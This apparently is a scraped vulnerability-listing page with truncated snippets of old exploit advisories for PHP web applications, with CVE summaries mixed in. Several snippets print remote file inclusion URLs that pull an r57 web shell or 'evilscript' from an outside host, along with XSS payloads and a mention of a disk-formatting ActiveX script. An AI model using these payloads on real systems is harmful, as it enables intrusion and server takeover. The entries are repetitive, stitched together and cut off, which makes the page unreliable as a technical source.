Neocrome Land Down Under Profile.Inc.PHP SQL 注入漏洞

Neocrome Land Down Under是一款基于PHP的WEB应用程序。 Neocrome Land Down Under不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行sql注入攻击，获得敏感信息。 问题是由于'Profile.Inc.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意sql查询作为参数数据，可更改原来的sql逻辑，获得敏感信息。 Neocrome Land Down Under 8.0 目前没有解决方案提供： http://www.neocrome.ne/...

ObjectSQL.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PHP Generator of Object SQL Database path Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: xoron Tum islam aleminin Ramaza...

UeberProject 1.0 - '/login/secure.php' Remote File Inclusion

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Uber Project Document Management System secure.php Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: xoron Tum islam...

Alert! A web page malicious script effects code summary Delivery-vulnerability warning-the black bar safety net

The following code is only for study and research use, please do not use the deceased person, resulting in loss of I am not responsible for, Thank you! 1, format the hard disk object id="scr" classid="clsid:06290BD5-48AA-11D2-8 4 3 2-006008C3FBFC" /object script scr. Reset; scr...

randshop12.txt

file include exploits in randshop v1.2 forum type : randshop v1.2 bug found by : black-code team : site-down type : file include Exploits : http://www.example.com/randshop/index.php?incl=http://evilscript? emails: [email protected] & [email protected] Greetz to my friends : Shereba, Killer...

file include exploits in randshop v1.2

file include exploits in randshop v1.2 forum type : randshop v1.2 bug found by : black-code team : site-down type : file include Exploits : http://www.example.com/randshop/index.php?incl=http://evilscript? emails: [email protected] & [email protected] Greetz to my friends : Shereba, Killer...

nucleus323.txt

Multiple file include exploits in nucleus 3.23 script type : nucleus 3.23 bug found by : sweet-devil team : site-down type : file include exploits : action.php http://www.example.com/path/action.php?DIRLIBS=http://yoursite/r57shell.txt? media.php...

file include exploits in dotwidgeta Version 2

Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...

file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

mcGuestbook13.txt

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

xtreme10.txt

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

Design/Logic Flaw

Unspecified vulnerability in Sun Grid Engine 5.3 and Sun N1 Grid Engine 6.0, when configured in Certificate Security Protocol CSP Mode, allows local users to shut down the grid service or gain access, even if access is denied...

CVE-2006-2930

Technical details about CVE-2006-2930 are not publicly available in the provided documents. Connected sources reference maintenance patches for Sun Grid Engine 6.0 but do not specify root cause, affected versions, or fixes. Monitor for updates.

file include in Xtreme Downloads v.1.0

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

file include exploit in Support Cards v1

file include exploit in Support Cards v1 forum type : Support cards v1 bug found by : sweet-devil team : site-down type : file include exploit : http://www.example.com/support/include/openform.php?includedir=http://ursite/evilscript.txt?cmd=pwd emails: [email protected] & [email protected]...

Xss exploit in Chipmunk directory

Xss exploit in Chipmunk directory forum type : Chipmunk directory bug found by : black-code team : site-down type : Xss black-code: codes : http://www.example.com/directory/index.php?catid=catid&start='scriptalert10/script path to admin login: http://www.xxx.com/path/admin All my respect to my...

CVE-2006-2634

Cross-site scripting XSS vulnerability in Neocrome Land Down Under LDU in Neocrome Seditio 102 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer field...

CVE-2006-2634

The vulnerability CVE-2006-2634 is an XSS flaw in Neocrome Land Down Under (LDU) within Neocrome Seditio 102, exploitable via an HTTP Referer header to inject arbitrary script/HTML. The impact stated is that remote attackers can execute script in a victim’s browser. The connected documents confir...

Xss exploit in Photoalbum B&W v1.3

Xss exploit in Photoalbum B&W v1.3 forum type : Photoalbum B&W v1.3 bug found by : black-code & sweet-devil team : site-down type : Xss exploit : http://www.example.com/superalbum/index.php?pic='scriptalert10/script path to admin login: emails: [email protected] & [email protected] All my...